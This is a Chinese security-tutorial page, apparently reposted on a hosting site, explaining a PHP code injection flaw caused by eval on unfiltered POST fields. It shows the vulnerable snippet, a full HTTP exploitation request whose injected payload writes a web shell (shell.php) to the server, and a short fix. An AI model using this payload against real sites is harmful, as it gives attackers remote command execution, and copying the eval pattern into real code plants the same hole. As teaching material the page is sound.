鸿 网 互 联 www.68idc.cn

当前位置 : 服务器租用 > 网站安全 > 安全设置 > >

PHP代码注入漏洞(成因及修复方案)

来源:互联网 作者:佚名 时间:2015-10-19 08:35
前言 在做测试的过程中,居然还发现了一站点现在还存在PHP代码注入的漏洞,真是很难见到的漏洞。现在说说这个漏洞产生的原因以及利用和修复方法吧。 漏洞成因 下面的代码片段引入了PHP代码注入漏洞, ? $postarray = array ( name, email, message, ); forea

前言

在做测试的过程中,居然还发现了一站点现在还存在PHP代码注入的漏洞,真是很难见到的漏洞。现在说说这个漏洞产生的原因以及利用和修复方法吧。

漏洞成因

下面的代码片段引入了PHP代码注入漏洞,
<?
$postarray = array(
"name",
"email",
"message",
);
foreach ($postarray as $val) {
    if (!isset($_POST[$val])) $_POST[$val] = "";
    eval("$".$val." = '".$_POST[$val]."';");
}
?>
代码本意是想通过使用eval来给变量赋值,只是没有对用户提交的内容进行过滤。

漏洞利用

利用很简单了,既然可以执行任何php代码,只需在提交时加入恶意代码就可以。下面是一个示例。
POST /test.php HTTP/1.1
Content-Length: 89
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=ui7uokv6ac1tdf2bh78fasdc55
Host: www.xxxx.xxx
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*
 
name=&&email=';fputs(fopen("shell.php","w+"),"<?eval(\$_POST[cmd]);?>");%24a%3d'&message=

修补建议

尽量不要使用eval等高危函数,如果要使用,一定要确保函数参数可控,就本例来说,可以直接赋值
 
网友评论
<